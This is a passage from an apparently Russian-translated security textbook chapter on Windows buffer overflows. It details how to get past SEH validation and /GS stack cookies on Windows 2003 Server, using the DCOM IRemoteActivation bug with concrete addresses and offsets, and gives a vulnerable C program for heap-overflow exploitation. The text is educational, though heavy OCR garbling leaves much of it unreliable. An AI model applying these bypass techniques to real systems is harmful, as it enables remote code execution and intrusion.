0, дальнейшие проверки прекращаются, и вызывается обработчик исключения. Если все проверки завершились успешно, базовый адрес модуля загрузки вычитается из адреса обработчика; результат определяет значение RVA обработчика. Это значение проверяется по списку адресов RVA в таблице зарегистрированных обработчиков. Если поиск оказывается успешным, система вызывает обработчик; в противном случае обработчик не вызывается. Что касается переполнения стековых буферов в Windows 2003 Server, при замене указателя на обработчик исключения возможно несколько вариантов: 1. Манипуляции существующим обработчиком для передачи управления в буфер. 2. Поиск блока кода по адресу, не ассоциированному с модулем, для передачи управления в буфер. 3. Поиск блока кода в адресном пространстве модуля, не имеющего каталога конфигурации загрузки. Рассмотрим эти варианты па примере эксплуатации уязвимости переполнения буфера DCOM IRemoteActivation. Манипуляции существующим обработчиком Адрес 0x77F45A34 указывает на зарегистрированный обработчик исключения в NTDLL.DLL. Анализ кода обработчика показывает, что путем определенных манипуляций можно заставить его выполнить наш код. Указатель на структуру EXCEPTI0N_REGISTRATI0N хранится по адресу EBP+OCh: 77F45A3F mov ebx.dword ptr [ebp+OCh] 77F45A61 mov esi.dword ptr [ebx+OCh] 77F45A64 mov edi.dword ptr [ebx+8] 77F45A75 lea ecx. [esi+esi*2] 77F45A78 mov eax.dword ptr [edi+ecx*4+4] 77F45A8F call eax
Переполнение буфера в стеке 145 Указатель на структуру EXCEPTION_REGISTRATION помещается в регистр ЕВХ. За- |см двойное слово, на которое указывают байты со смещением ОхОС после ЕВХ, перемещается в ESI. Таким образом, благодаря переполнению структуры I X(i.PTION_REGISTRATION мы контролируем содержимое ESI. Затем двойное сломи со смещением 0x08 после ЕВХ перемещается в EDI. Это значение также находи кя под нашим контролем. Затем в ЕСХ помещается адрес ESI+ESI*2 (то есть I Sl*3). Вследствие контроля над ESI мы можем быть уверены в значении, которое попадет в ЕСХ. Затем адрес, на который указывает регистр EDI (также находящийся под нашим контролем), перемещается в ЕАХ, после чего следует команда call для регистра ЕАХ. Контролируя содержимое EDI и ЕСХ (через ESI), мы можем контролировать содержимое ЕАХ, и как следствие — направить процесс на иыполнение нашего кода. Нужно лишь проследить за тем, чтобы в результа- ie вычисления EDI+ECX*4+4 был получен адрес нашего кода. В этом случае адрес (>удет помещен в регистр ЕАХ, и по этому адресу будет передано управление. Поначалу при эксплуатации уязвимости процесса svchost местонахождение блока ТЕВ и стека всегда известно. Не стоит и говорить, что на загруженном сервере с определением этих данных могут возникнуть трудности. Если предположить некое постоянство, указатель на структуру EXCEPTI0N_REGISTRATI0N можно найти по адресу ТЕВ+0 @x7FFDB000) и использовать этот адрес для поиска ука- .игеля на наш код. Однако как выясняется, непосредственно перед вызовом обработчика исключения этот указатель обновляется и изменяется, поэтому данный подход не годится. Тем не менее, структура EXCEPTI0N_REGISTRATI0N, на которую указывает адрес ТЕВ+0, по адресу 0x005CF3F0 содержит указатель на нашу структуру EXCEPTI0N_REGISTRATI0N. А поскольку при первом выполнении нашего кода местонахождение стека остается постоянным, этим обстоятельством можно воспользоваться. Другой указатель на нашу структуру I XCEPTI0N_REGISTRATI0N хранится по адресу 0x005CF3E4. Допустим, мы задействуем последний адрес. Если сохранить со смещением ОхОС после пашей структуры EXCEPTI0N_REGISTRATI0N значение 0x40001554 (которое будет занесено в ESI), а со смещением 0x08 — значение 0x005BF3F0 (которое будет занесено в EDI), то после всех умножений и сложений мы получим адрес 0x005CF3E4. Этот адрес помещается в ЕАХ, и но нему передается управление. Так мы переходим к адресу пашей структуры EXCEPTI0N_REGISTRATI0N, по которому должен находиться указатель на следующую структуру EXCEPTI0N_REGISTRATI0N, Если поместить |деп> команду короткого перехода на М байт от текущей позиции, мы «перепрыгнем» через «мусор», который был необходим для передачи управления и эту точку. ( Писанный метод был протестирован па четырех компьютерах с Windows 2003 Sriver; на трех была установлена версия Enterprise Edition, па одном - Stan- <LikI Edition. Во всех случаях эксплуатация уязвимости была успешной. Тем не менее, очень важно, чтобы код был выполнен с «первого захода» — в противном ечучае он, скорее всего, не сработает. И еще одно замечание: вероятно, .нот об р.Нинчпк исключении ориентирован па вектрные обработчики, а не на <чеко in.ir, полому нам и ула'нм i. m.iuo inn 11, с ним .ни машшушппп.
146 Глава 8. Переполнение в Windows Аналогичный обработчик также присутствует в ряде других модулей, где oij может успешно использоваться. Другие зарегистрированные обработчики ис« ключений обычно передают управление функции except_handler3, экспорта^ руемой msvcrt.dll, или ее аналогу. Поиск блока кода по адресу, не ассоциированному с модулем Как и во всех остальных версиях Windows, по адресу ESP+8 можно найти указа! тель на нашу структуру EXCEPTION_REGISTRATION. Следовательно, если мы най дем следующий блок команд по адресу, не ассоциированному ни с одним загруз женным модулем, он нам вполне подойдет: pop reg pop reg ret Такой блок команд можно найти на каждом компьютере с Windows 2003 Servej Enterprise Edition по адресу 0x7FFC0AC5. Поскольку данный адрес не ассодииро] ван ни с одним модулем, этот фиктивный обработчик пройдет проверку систе] мы безопасности и будет выполнен. Тем не менее, проблема все же существует] На другом компьютере с системой Windows 2003 Server Standard Edition блон pop/pop/ret может находиться не по тому же адресу, а всего лишь вблизи 01 него. Поскольку точное местонахождение блока pop/pop/ret не гарантирована применять это решение не рекомендуется. Вместо блока pop/pop/ret можно по| пытаться найти в адресном пространстве уязвимого процесса команду call dword ptr[esp+8] Или команду jmp dword ptr[esp+8] На практике найти такие команды с подходящими адресами не удается, но одн^ из особенностей механизма обработки исключений состоит в том, что мы мо жем найти множество указателей на структуру EXCEPTION_REGISTRATION побли< зости от адресов ESP и ЕВР. Вот лишь некоторые возможные варианты: esp+8 esp+14 esp+lC esp+2C esp+44 esp+50 ebp+Oc ebp+24 ebp+30 ebp-4 ebp-C ebp-18 Любая из этих комбинаций может быть использована в команде call или jmp, При анализе адресного пространства процесса svchost мы но адресу OxOOlBOBOB находим такую команду: call dword ptr[ebp+0x30]
Переполнение буфера в стеке 147 Ни пдрееу ЕВР+30 находится указатель на нашу структуру EXCEPTION_REGISTRATION. . Иш адрес не ассоциирован ни с одним модулем; более того, практически во IH гч процессах Windows 2003 Server (а также многих процессах Windows XP) ни « одержит одни и те же байты; в остальных случаях эта «команда» находится iin .i/ipecy OxOOlCOBOB. Заменяя указатель на обработчик исключения значением IU00I ИОВОВ, мы можем вернуться к буферу и выполнить произвольный код. Примерка OxOOlBOBOB на четырех компьютерах с Windows 2003 Server показала, Ч1п на всех компьютерах по этому адресу содержались «правильные» байты, об- |ш ivioiiuie команду i.i II dword ptr[ebp+0x30] I и mi м. образом, данный подход в плане эксплуатации уязвимостей Windows ШI\ Server выглядит довольно надежным. Поиск блока кода в адресном пространстве модуля, не имеющего каталога конфигурации загрузки (им исполняемый образ (svchost.exe) не содержит каталога конфигурации за- Ipv iKii. Файл svchost.exe мог бы подойти, если бы не исключение NULL-указа- М"|я п коде KiUserExceptionDispatcher(). Функция RtlImageNtHeader() возвращает Viui.uicvib на РЕ-заголовок заданного образа, но для svchost возвращается 0. Тем и»» менее, в KiUserExceptionDispatcher() происходит обращение по этому указате- мю he.» каких-либо попыток проверить, не "равен ли указатель значению NULL: •-ill Rtl ImageNtHeader 11".I byte ptr [eax+5Fh].4 Hi/ 0x77F68A27 Происходит нарушение доступа, и этим все закапчивается; следовательно, мы IH' можем использовать код в процессе svchost.exe. Модуль comres.dll не содержи! каталога конфигурации загрузки, но поскольку поле характеристик DLL 14 затловка равно 0x0400, проверка после вызова RtllmageHeader не проходит, и управление передается по адресу 0x77F68A27 — далеко от кода, который выщипни- наш обработчик. Более того, даже если перебрать все модули в адресном пространстве, ни один из них не подойдет. Большинство модулей имеет ка- hi'ioi конфигурации загрузки с зарегистрированными обработчиками, а те, что in имеют каталога, проверку не проходят. Таким образом, в данном случае этот ими об не годится. По» комьку обычно попытка записи за концом стека провоцирует исключение, • 11иi переполнении буфера этот прием может использоваться в качестве обоб- ни иною метода обхода защиты стека в Windows 2003 Server. Однако Windows МИ) \ Server — новая операционная система. Компания Microsoft стремится по- 1П.П1М1» безопасность системы и по возможности защитить ее от атак. Несо- MIи ипо, уязвимое гей, о которых известно сейчас, в будущих обновлениях Scr- • и г Г.к к станет меньше или они исчезнут вовсе. Когда это произойдет (а скорее им ю ик н будет), придется снова взяться за отладчик и дизассемблер и изо и|н < i и новые методы. A Microsoft можно порекомендовать разрешить иыполпе • мн иом.ко зарегистрированных обработчиков и позаботи i ься о том, чюбы .и и нонами чнки при паинлеиимх не становились обьекгом M.iiiiinv'iMUiiii
148 Глава 8. Переполнение в Windows Последнее замечание о перезаписи стековых обработчиков Если уязвимость существует в нескольких операционных системах (как, напри^ мер, возможность переполнения буфера DCOM IRemoteActivation, обнаружен! ная польской исследовательской группой в области безопасности «The Las Stages of Delirium»), хороший вариант добиться переносимости эксплойта -J реализовать в нем атаку на обработчик исключения. Дело в том, что смещение структуры EXCEPTION_REGISTRATION от начала буфера может изменяться, напри! мер, в случае с упоминавшейся уязвимостью DCOM в Windows 2003 Serve) структура была смещена на 1412 байт от начала буфера, в Windows XP — ni 1472 байта, и в Windows 2000 — на 1540 байт. Так появляется возможность на) писать единственный эксилойт, подходящий для всех операционных систе^ Все, что требуется, — внедрить по нужному адресу фиктивный обработчик предназначенный для соответствующей операционной системы. Защита стека и Windows 2003 Server Механизм защиты стека встроен в Windows 2003 Server и поддерживаете!) Microsoft Visual C++ .NET. Флаг /GS, установленный по умолчанию, сообщав^ компилятору, что при генерировании кода следует использовать защитник данные cookie (security cookie), помещаемые в стек для защиты сохраненного адреса возврата. Для читателей, знакомых с утилитой StackGuard Криспшш Коуэна (Crispin Cowan), стоит сказать, что защитные данные cookie являются аналогом стража (canary) — 4-байтового значения (или двойного слова), кото* рое помещается в стек после вызова процедуры и проверяется перед возвратом^ Таким образом защищается сохраненный адрес возврата и ЕВР. Принцип дейсп вия защиты: при переполнении локального буфера на пути к сохраненному ад^ ресу возврата также заменяются защитные данные cookie. Процесс распознав! факт переполнения буфера в стеке и предпринимает действия, необходимы^ для предотвращения запуска постороннего кода. Как правило, для этого про^ цесс попросту завершается. На первый взгляд кажется, будто защита создае! непреодолимое препятствие для переполнения буферов в стеке, но как ужй было показано в разделе, посвященном стековым обработчикам исключений, это не так. Да, защита усложняет механизм переполнения стека, но не предот- вращает его. Давайте поближе познакомимся с защитой стека и рассмотрим другие приемы,, позволяющие обойти этот механизм. Сначала нужно получить информации! о защитных данных cookie. Как они генерируются и насколько случайны их значения? Достаточно случайны — по крайней мере настолько, чтобы попытка подобрать их обернулась неприемлемыми затратами времени, особенно если им не имеете физического доступа к компьютеру. Следующий С-код имитиругГ] механизм создания защитных данных cookie в начале работы процесса: I #include <stdio h> ; #include <windows h>
Защита стека и Windows 2003 Server 149 ml mainO ( FILETIME ft; unsigned int Cookie=0, unsigned int tmp=0. unsigned int *ptr=0; LARGEJNTEGER perfcount; GetSystemTn meAs F iIeTi me(&ft); Cookie = ft dwhhghDateTime л ft dwLowDateTime; Cookie = Cookie ^ GetCurrentProcessIdO; Cookie = Cookie A GetCurrentThreadldO, Cookie = Cookie ж GetTickCountO, QueryPerformanceCounter(&perfcount). ptr = (unsigned int)&perfcount, tmp = *(ptr+l) A *ptr. Cookie = Cookie * tmp, pnntf ("Cookie Я.8Х\п" .Cookie); return 0; \ ( начала вызывается функция GetSystemTimeAsFileTime. Она заполняет структуру IIIETIME с двумя полями — dwHighDateTime и dwLowDateTime. Эти два значения мпьединяются операцией хог. Далее результат объединяется операцией хог г идентификатором процесса, который в свою очередь объединяется с идентификатором программного потока и количеством миллисекунд, прошедших с мо- меша запуска системы (значение определяется вызовом GetTickCount). В завершите вызывается функция QueryPerformanceCounter, получающая указатель на 1»1 разрядное целое число. Последнее делится на два 32-разрядных числа, которые также объединяются операцией хог; результат определяет значение защитных данных cookie, сохраняемое в секции .data файла образа. Флаг /GS также изменяет порядок размещения в стеке локальных переменных. Раньше переменные размещались в порядке их определения в исходном С-ко- /н\ а теперь массивы перемещаются в конец списка переменных, поближе к адресу возврата. Логика проста: если в программе произойдет переполнение, оно не испортит значения других переменных. Решение имеет два основных преимущества — оно помогает предотвратить логические нарушения, а также перемнись произвольных адресов в том случае, если переполненная переменная яв- •шпем указателем. 11.1ЧИСМ с первого преимущества. Представьте программу, требующую аутентификации пользователя; функция, в которой производится аутентификация, уч.жима для переполнения. Если аутентификация прошла успешно, двойному ¦ чипу присваивается значение 1, а в случае неудачи двойное слово обнуляется. I < ми соответствующая неременная хранится в буфере, в котором произошли переполнение, нападающий может присвоить переменной значение 1. С точки • рения программы все будет выглядеть так, словно пользователь прошел ау геп тфикацию, хотя на самом деле он не ввел действительных имени и пароля. При возврате из процедуры, охраняемой защитными данными cookie, акчема нрпнерис! значение н их данных и сравнивает его со значением, yeiaiinii'ieimuM
1 50 Глава 8. Переполнение в Windows в начале процесса. Эталонная копия защитных данных cookie хранится в секции .data файла образа соответствующей процедуры. Значение защитных данных cookie в стеке помещается в регистр ЕСХ и сравнивается с копией из секции .data. Здесь возникает первая проблема, о которой мы поговорим чуть позднее. Если значения защитных данных cookie не совпадают, код, реализующий npo-i верку, вызывает обработчик нарушения защиты (если он был определен). У ка-' затель на обработчик хранится в секции .data файла образа уязвимой процедуры. Если указатель не равен NULL, он помещается в регистр ЕАХ, после чего; происходит передача управления по содержимому регистра. Здесь возникает вторая проблема. Если обработчик нарушения защиты не был определен, та управление передается функции UnhandledExceptionFilter. Она не просто завершав ет процесс, а выполняет некоторые действия и вызывает различные функции. Чтобы получить подробную информацию о том, что делает функция Unhandled-j Exception Filter, проведите тестовый сеанс в IDA Pro. В общих чертах скажем, что функция загружает библиотеку faultrep.dll pi выполняет функцию ReportFault,] экспортируемую этой библиотекой. Среди прочего эта функция отвечает за по-| явление окна, предлагающего сообщить об ошибке в Microsoft. Вы когда-ни-; будь сталкивались с именованными каналами PCHHangRepExecPipe и PCHFault-l RepExecPipe? Они используются в ReportFault. Давайте обратимся к упомянутым проблемам и посмотрим, почему они действительно являются проблемами. Лучше всего сделать это на конкретном примере. Рассмотрим следующий (весьма изощренный) исходный С-код: #include <stdio.h> #i nclude <windows h> HANDLE hp=NULL, int ReturnHostFromUrKchar **. char *), int mainO { char *ptr = NULL, hp = HeapCreate@.0x1000,0x10000). ReturnHost-FromUrK&ptr. "http //www ngssoftware com/index html"); pnntfC'Host is %s",ptr); HeapFree(hp@,ptr), return 0, int ReturnHostFromUrKchar **buf. char *url) { int count = 0; char *p = NULL, char buffer[40]="", // Получить указатель на начало имени хоста р = strstr(url."http //"), if(!p) return 0, p = p + 7,
Защита стека и Windows 2003 Server 151 // Выполнить операции с локальной копией strcpy(buffer.p), // < 1 // Найти первую косую черту while(buffer[count] !='/') count ++; // set it to NULL buffer[count] = 0; // Имя хоста помещено в буфер // Создать копию в куче р = (char *)HeapAlloc(hp,0.strlen(buffer)+l). if(!p) return 0; strcpy(p,buffer); *buf = p. // < 2 return 0, I Программа берет URL-адрес и извлекает из него имя хоста. В функции Return- lln'.llromUrl имеет место уязвимость переполнения буфера в стеке, помеченная цифрой «1». Если взглянуть па прототип функции, мы увидим, что при вызове функция получает два параметра: указатель на указатель (char **) и указатель ни UKL. В строке, помеченной цифрой «2», первому параметру (char **) при- « и,1 и мается указатель на имя хоста, хранящееся в динамической куче. На уровне п< < гм6лера это присваивание выглядит так: (НМ011ВС mov ecx.dword ptr [ebp+8] IHM011BF mov ecx.dword ptr [ebp-8] (НИ011С2 mov ecx.dword ptr [ecx].edx Ho адресу 0х004011ВС указатель, передаваемый в первом параметре, помещается м |»п метр ЕСХ. После этого указатель на имя хоста в куче помещается в регистр I DX, а затем размещается по адресу, на который ссылается регистр ЕСХ. И вот гнмч, возникает одна из наших проблем. Если переполнить стековый буфер, мы нгрез.шишем cookie, EBP и адрес возврата, а затем начнем перезаписывать пара- мгфы, переданные функции. На рис. 8.3 наглядно показано, как это проис- MI/III Г. Ио< /к* переполнения буфера параметры, переданные функции, оказываются in»/i контролем нападающего. То есть мы получаем возможность перезаписи произвольного адреса памяти или нарушения доступа, когда команды по адресу (МИМ 011 ВС выполняют операцию Null = р; < ь.ычгм, если параметр ЕВР+8 будет заменен значением 0x41414141, процесс пони ипея записать указатель по этому адресу. Если адрес 0x41414141 относится ! инициализирован пой памяти, происходит нарушение доступа; это позволяем |.| ипг пювагь механизмы структурной обработки прерываний для обхода за- иииы ( icica, о которой говорилось ранее. А что, если мы не хотим проводиро- H.IM. нарушение доступа? Давайте рассмотрим вариант с перезаписью произ- ihi'iuioiо адреса. 1Ь|>псм(и к проблемам, упоминавшимся при описании процесса проверки за ним пых данных cookie. Первая проблема возникает из-за того, что эталонная in |м ил rookie храшпгя в секции .data файла образа. Дли конкретной пгр< пи
1 52 Глава 8. Переполнение в Windows Буфер Cookie EBP Адрес возврата Параметр 1 Параметр 2 V ДО ПОСЛЕ Рис. 8.3. Структура стека до и после переполнения Буфер Cookie EBP Адрес возврата Параметр 1 Параметр 2 файла образа защитные данные cookie будут размещаться по фиксированном)! адресу (причем это может быть истинно даже для разных версий). Если место нахождение р, то есть указателя на имя хоста в куче, предсказуемо (остается од ним и тем же в разных сеансах программы), то мы можем заменить этим адре сом эталонную версию cookie в секции .data и использовать это же значение для замены cookie в стеке. В этом случае оба значения защитных данных cookid при проверке совпадут. После прохождения проверки мы берем процесс выпол нения под свой контроль и возвращаем управление по выбранному нами адре! су, как и при обычном переполнении буфера в стеке. Тем не менее, в данном случае такое решение не оптимально. Почему? Допус! тим, мы получили возможность заменить содержимое памяти адресом буфера] находящегося под нашим контролем. Мы записываем в этот буфер код экс! плойта и заменяем указатель па функцию адресом буфера. В этом случае при вызове функции будет выполнен наш эксплойт. Но если проверка cookie завер] шится неудачей, возникает проблема номер два. Вспомните, что в случае не] удачной проверки cookie вызывается обработчик нарушения защиты (если он определен), что как раз и соответствует данному случаю. Указатель на функ] цию обработчика нарушения защиты также хранится в секции .data, то есть мм знаем, где он находится, и можем заменить его указателем на свой буфер, В этом случае при неудачной проверке cookie будет вызван уже наш «обработ* чик нарушения защиты», и выполнение программы перейдет под наш кон« троль. Как вы помните, если проверка cookie завершается неудачей, а обработчик п;и рушения защиты не определен, управление передается функции UnhandledExJ сеption Filter. В этой функции выполняется такой большой объем кода, что оиш открывает для нас массу любопытных возможностей. Например, из функции UnhandledExceptionFilter вызывается функция GetSystemDirectoryW, после чего п,1 полученного каталога загружается библиотека faultrep.dll. В случае перепо/ше* ния Unicode мы могли бы заменить указатель на системный к.и.нюг, храни*
Защита стока и Windows 2003 Server 153 llliillni и секции .data библиотеки kernel32.dll, указателем на наш «системный» tumi'ior, чтобы вместо настоящей версии faultrep.dll была загружена наша верши Остается экспортировать функцию ReportFault, и она будет успешно ВЫ- ^ИМПа. /IpvniH интересная возможность (пока чисто теоретическая — у нас еще не Пы 'ю времени проиллюстрировать ее) основана на идее вложенного вторичного Игрпюлпепия. Многие функции, вызываемые из UnhandledExceptionFilter, не охрами инея защитными данными cookie. Одна из таких функций (предположим, lit»!SystemDirectoryW) может быть уязвима для переполнения буфера: длина сис- Н'ммого каталога никогда не превышает 260 символов и данные берутся из домеренного источника, поэтому беспокоиться о переполнении не приходится. Миг пользуемся буфером фиксированного размера и будем копировать в него данные до тех пор, пока не произойдет выход за завершающий нуль-символ. Полагаем, вы уже уловили главную мысль. В обычных условиях спровоциро- Ним. laicoe переполнение не удалось бы, но если заменить указатель на системны li каталог указателем на наш буфер, мы вызовем вторичное переполнение и иоде, не защищенном при помощи cookie. Возврат будет выполнен по выбранному нами адресу с перехватом управления. На самом деле функция GetSystem- Dliedory такой уязвимости не имеет, и все же где-то за кодом UnhandledExcep- llmiHlter вполне может находиться скрытая уязвимость — просто мы ее еще не imiiuni. Попробуйте поискать, может, у вас получится. Нисколько вероятен подобный сценарий (то есть ситуация, при которой возможна произвольная замена содержимого памяти перед вызовом кода проверки i ookie)? Оказывается, весьма вероятен и случается довольно часто. Кстати го- иорн, :гга проблема была присуща уязвимости модели DCOM, обнаруженная I руиной «The Last Stages of Delirium», где уязвимая функция получала один из параметров типа wchar **. Единственная сложность с данной уязвимостью за- м тмилась в том, что входные данные должны быть в формате UNC-пути I hiicode, начинающемся с двух символов обратного слеша (\\). Если предположи м», что указатель на обработчик нарушения защиты заменяется указателем на оуфер, то сразу же после вызова будут выполнены такие команды (символом // обозначен следующий байт): pop esp <id(i byte ptr еах+еах+л].Ы Поскольку адрес ЕАХ+ЕАХ+т? в любом случае недоступен для записи, происходит нарушение доступа и потеря процесса. Так как буфер в любом случае должен начинаться символами \\, описанный метод не подойдет. Как иидите, существует немало способов обхода системы безопасности стека, <»ог< мечиваемой флагом GS и защитными данными cookie. Мы рассмотрели возможности, предоставляемые механизмами структурной обработки прерывании и кош роли параметров в стеке, передаваемых уязвимой функции. В будущем компания Microsoft внесет изменения в свои системы безопасности и еоздас! inim/iiniтельные трудности на пути переполнения буфера в стеке. Посмотрим, viaeiea /in когда мибудь полностью закрыть эту брешь в защите.
1 54 Глава 8. Поромолмение в Windows Переполнение буфера в куче Наряду с буферами в стеке буферы в куче также могут переполняться, причем с не менее катастрофическими последствиями. Но прежде чем подробно рассматривать переполнение кучи, нужно разобраться, что же такое куча. Если говорить упрощенно, кучей (heap) называется область памяти, используемая программой для хранения динамических данных. Возьмем для примера веб-сервер. Заранее (до того как серверная программа после компиляции станет двоичным файлом) неизвестно, с какими запросами к серверу будут обращаться клиенты. Одни запросы будут иметь длину всего 20 байт, тогда как другие могут достигать 20 000 байт. Сервер должен в равной степени справляться с обеими ситуациями. Поэтому вместо того чтобы выделять в стеке буфер фиксированного размера для обработки запросов, сервер использует динамическую область памяти — кучу. При поступлении запроса для его обработки в куче выделяется блок памяти в качестве буфера. Работа с кучей упрощает управление памятью и улучшает масштабируемость программного продукта. Куча процесса У каждого процесса, работающего в Win32, существует умалчиваемая куча, называемая кучей процесса. Для получения указателя на кучу процесса используется С-функция GetProcessHeap(). Указатель на кучу процесса хранится также в блоке РЕВ. Следующий фрагмент на ассемблере возвращает указатель на кучу процесса в регистре ЕАХ: mov eax. dword ptr fs [0x30] mov eax. dword ptr [eax+0xl8] Многие функции Windows API, выполняющие операции с кучей, используют умалчиваемую кучу процесса. Динамическая куча Помимо умалчиваемой кучи процесса, процессы Win32 могут создавать столько динамических куч, сколько они сочтут нужным. Динамические кучи создаются функцией HeapCreate() и являются глобально доступными в границах процесса. Работа с кучей Чтобы сохранить какие-либо данные в куче, процесс должен сначала выделить в ней блок памяти (то есть зарезервировать часть пространства для своих целей). Для этой цели приложение вызывает функцию HeapAUocate() и передает ей размер запрашиваемого блока. Если все идет нормально, диспетчер кучи выделяет блок памяти и возвращает указатель на пего вызывающей стороне. I le стоит и говорить, что диспетчер кучи должен отслеживать данные о выделенных блоках; для этой цели используются специальные структуры данных. В них хранится информация о размере выделенных блоков и пара указателем на другой указатель, ссылающиеся на следующий доступный блок.
Переполнение буфера в куче 1 55 Рлнее было сказано, что для выделения памяти в куче приложения используют функцию HeapAUocate(). Существуют и другие функции для работы с кучей, hoi я в основном они служат для совместимости. В Winl6 было две кучи: гло- Гтш.пая, доступная для всех процессов, и локальная, своя для каждого процес- i а Хотя в Win32 по-прежиему остались функции LocalAUoc() и GlobalAUoc(), предназначенные для работы с этими кучами, в Win32 они не различаются: обе иыдг/шют память из умалчиваемой кучи процесса. В действительности обе функции попросту передают управление функции HeapAllocate(): h -- HeapAl~locate(GetProcessHeap(),0,size). Лжершив работу с данными в куче, процесс освобождает выделенный блок, и последний становится доступным для последующего использования. Освобождение выделенной памяти сводится к простому вызову HeapFree (или LocalFree, ими GlobalFree) — при условии, что память освобождается в умалчиваемой куче процесса. .i.i дополнительной информацией о работе с кучей обращайтесь к документации MSDN по адресу http://msdn.microsoft.com/library/default.asp7urh/library/ ni us/memory/base/memory_management_reference.asp. Функционирование кучи ()о|>атите внимание на одно важное обстоятельство: если стек расширяется по направлению к адресу 0x00000000, то куча растет в противоположном направлении Л это означает, что при двух вызовах HeapAUocate первый блок располага- гк'м по меньшему виртуальному адресу, чем второй. Соответственно, переполнен не первого блока может перейти во второй блок. Каждая куча (будь то умалчиваемая куча процесса или динамическая куча) начинается со структуры, содержащей наряду с другими данными массив из \2Н структур LIST_ENTRY, в которых хранится информация о свободных блоках. 11азовем этот массив FreeList. Каждый элемент LIST_ENTRY содержит два указателя (см. Winnt.h), а начало мас- i и на хранится со смешением 0x178 байт в структуре кучи. При создании кучи и lreel_ist[0] задаются значения двух указателей, ссылающихся на первый блок памяти, доступной для выделения. По адресу, на который ссылаются эти указании (началу первого доступного блока), находятся два указателя, ссылающие- < я на FreeList[0]. Итак, если предположить, что созданная куча имеет базовый аарее 0x0035000, а первый доступный блок находится по адресу 0x00350688, то: > по адресу 0x00350178 (FreeList[0].Flink) хранится указатель со значением 0x00350688 (первый свободный блок); > по адресу 0х0035017С (FreeList[0].Blink) хранится указатель со значением 0x00350688 (первый свободный блок); ¦ > но адресу 0x00350688 (первый свободный блок) хранится указатель со значением 0x00350178 (FreeList[0]); > по адресу 0х0035068С (первый свободный блок + 4) хранится указа iсм, со шаченпем 0x00350178 (FreeList[0]).
156 Глава 8. Переполнение в Windows При выделении памяти (например, в результате вызова RtlAUocateHeap с запрос сом о выделении 26 байт памяти) указатели FreeList[0].Frink и FreeList[0].Blink об-i новляются так, чтобы они ссылались на следующий свободный блок. Кроме! того, два указателя, содержащих обратные ссылки на массив FreeList, перемещан ются в конец выделенного блока. При каждом выделении или освобождении памяти указатели обновляются. Таким образом, выделенные блоки объединяв ются в двусвязный список. Когда в результате переполнения буфера, находяН щегося в куче, происходит перезапись служебных данных, замена этих указателей позволяет записать в память произвольное двойное слово; нападающий может изменять данные программы (в том числе и указатели на функции). Нападающий заменяет те данные, которые с наибольшей вероятностью позволят ему получить контроль над приложением. Например, если он заменит указатель на функцию указателем на свой буфер, но перед вызовом функции произойдет нарушение доступа, скорее всего, попытка перехвата управления завершится неудачей. В таких случаях нападающему лучше заменить указатель на обработчик исключения — в этом случае при нарушении доступа будет выполнен код нападающего. Но прежде чем выяснять, как за счет переполнения буфера выполнять произвольный код, давайте получше разберемся в происходящем. Следующая программа уязвима в отношении переполнения кучи: #include <stdio.h> #include <windows h> DWORD MyExceptionHandler(void). int foo(char *buf). int maindnt argc. char *argv[]) HMODULE 1, 1 = LoadLibraryCmsvcrt dll"). 1 = LoadLibrary("netapi32 dll"), pnntf("\n\nHeapoverflow program \n"); if(argc != 2) return pnntfCARGS!"). foo(argv[l]); return 0. } DWORD MyExceptionHandler(void) pnntfC'In exception handler "). ExitProcess(l). return 0. } int fooCchar *buf) HLOCAL hi = 0. h2 = 0. HANDLE hp, __try{ hp = HeapCreate@.0x1000.0x10000). if('hp)
Поромолиомио буфера в куче 1 57 return printf("Failed to create heap \n"). hi = HeapAlloc(hp. HEAP JER0J1EM0RY, 260); printfCHEAP: Г8Х % 8X\n\hl.&hl); // Здесь происходит переполнение буфера: strcpy(hl.buf); // Управление перехватывается при втором вызове НеарАПосО h2 = HeapAllос(hp.HEAP_ZERO_MEMORY,260). pnntfChello"); } __except(MyExceptionHandler()) printf("oops ."), return 0; I ПРИМЕЧАНИЕ Для получения оптимальных результатов программу следует компилировать и Microsoft Visual C++ 6.0 из командной строки следующим образом: ( I /ТС heap.с Ун.ншмость в этой программе создается вызовом strcpy() в функции foo(). Если ,д пит строки buf превысит 260 байт (размер приемного буфера), произойдет перезапись управляющих структур кучи. Управляющая структура содержит /inn указателя, ссылающихся на массив FreeList, в котором находится пара указа- ifirii па следующий свободный блок. При освобождении или выделении памя- щ диспетчер кучи меняет их местами. Предположим, программе передается слишком длинный аргумент, например, ИИ) байт. Далее этот аргумент передается функции foo, где и происходит пере- IH hi пение. При втором вызове HeapAUoc() происходит нарушение доступа: //I0256F 89 01 mov dword ptr [ecx].eax " //162571 89 48 04 mov dword ptr [eax+4].ecx \п|я нарушение происходит при втором вызове НеарА1Аос(), вызов HeapFree() и'in HeapRealloc() привел бы к тем же последствиям. Если просмотреть содержимое регистров ЕСХ и ЕАХ, вы увидите, что оба регистра содержат данные из i iроки, переданной программе в качестве аргумента. Мы заменили указатели и i чужебной структуре управления кучей, поэтому при обновлении данных in чедепше второго вызова HeapAUoc() оба регистра оказываются под нашим i о||||)олем. Теперь посмотрим, что происходит в программе. mov dword ptr [ecx],eax in.i'ieiinc, хранящееся в регистре ЕАХ, перемещается по адресу, на который ука- н.таег ЕСХ. А это означает, что мы можем заменить 32 бита по любому адресу mipiyn/ibiioro адресного пространства приложения (доступному для записи) чюоым значением на наш выбор. Впрочем, здесь есть одна тонкость. Посмотри - и' п.1 с./1едующую команду: mov dword otr Геах+41.есх
1 58 Глава 8. Переполнение в Windows Регистры поменялись местами. Значение в регистре ЕАХ (использованное дл! замены значения, на которое указывал регистр ЕСХ в первой строке) таким должно указывать на адрес, доступный для записи, потому что на этот раз со держимое ЕСХ записывается по адресу ЕАХ+4. Если ЕАХ не ассоциируется с адре сом, доступным для записи, происходит нарушение доступа. Впрочем, нельз! сказать, что это плохо — на нарушениях доступа основан один из распростра ненных способов эксплуатации уязвимостей. Нападающий часто заменяет ука затель на структуру обработчика прерывания в стеке или на фильтр необрабо тайных исключений указателем, который передает управление внедренному коду при возникновении исключения. Допустим, ЕАХ ссылается на память, HeJ доступную для записи; возникает исключение, и выполняется посторонний код! Но даже если адрес ЕАХ доступен для записи, так как содержимое ЕАХ не совпа* дает с ЕСХ, при выполнении низкоуровневых функций кучи с большой вероятностью произойдет ошибка, которая все равно приведет к исключению. Таким образом, замена указателя на обработчик исключения является одним из простейших путей эксплуатации уязвимости. Эксплуатация уязвимостей при переполнении кучи Многие программисты осведомлены об опасности переполнения стековых бу-| феров, но почему-то считают, что буферы в куче безопасны. Ну переполнится буфер в куче, что здесь такого? В худшем случае программа аварийно заверь шится. 